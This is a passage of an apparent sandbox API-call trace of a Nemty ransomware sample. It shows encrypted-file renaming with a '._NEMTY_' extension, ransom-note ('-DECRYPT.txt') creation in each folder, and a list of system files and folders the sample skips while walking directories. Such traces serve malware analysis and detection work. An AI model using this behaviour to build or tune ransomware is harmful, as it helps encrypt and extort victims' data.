dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.992] CloseHandle (hObject=0xffffffff) returned 0 [0063.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0063.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0063.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.993] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png._nemty_kgobjgd_")) returned 0 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.993] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2=".") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="..") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="...") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="windows") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="$RECYCLE.BIN") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="rsa") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="NTDETECT.COM") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="ntldr") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="MSDOS.SYS") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="IO.SYS") returned -1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="boot.ini") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="boot.ini") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="AUTOEXEC.BAT") returned 1 [0063.993] lstrcmpiW (lpString1="HueCycle", lpString2="ntuser.dat") returned -1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="desktop.ini") returned 1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="CONFIG.SYS") returned 1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="RECYCLER") returned -1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="BOOTSECT.BAK") returned 1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="bootmgr") returned 1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="programdata") returned -1 [0063.994] lstrcmpiW (lpString1="HueCycle", lpString2="appdata") returned 1 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HueCycle", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0063.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HueCycle", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HueCycle", lpUsedDefaultChar=0x0) returned 8 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HueCycle", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0063.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HueCycle", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HueCycle", lpUsedDefaultChar=0x0) returned 8 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0063.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0063.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0063.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0063.997] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.998] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0063.998] CloseHandle (hObject=0x3cc) returned 1 [0063.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0063.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0063.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0064.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.000] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.000] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0064.001] CloseHandle (hObject=0x3cc) returned 1 [0064.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0064.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd9c98cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd9c98cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0064.001] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.001] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd9c98cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd9c98cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0064.001] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.001] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.001] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0064.001] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0064.002] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.002] WideCharToMultiByte (in: 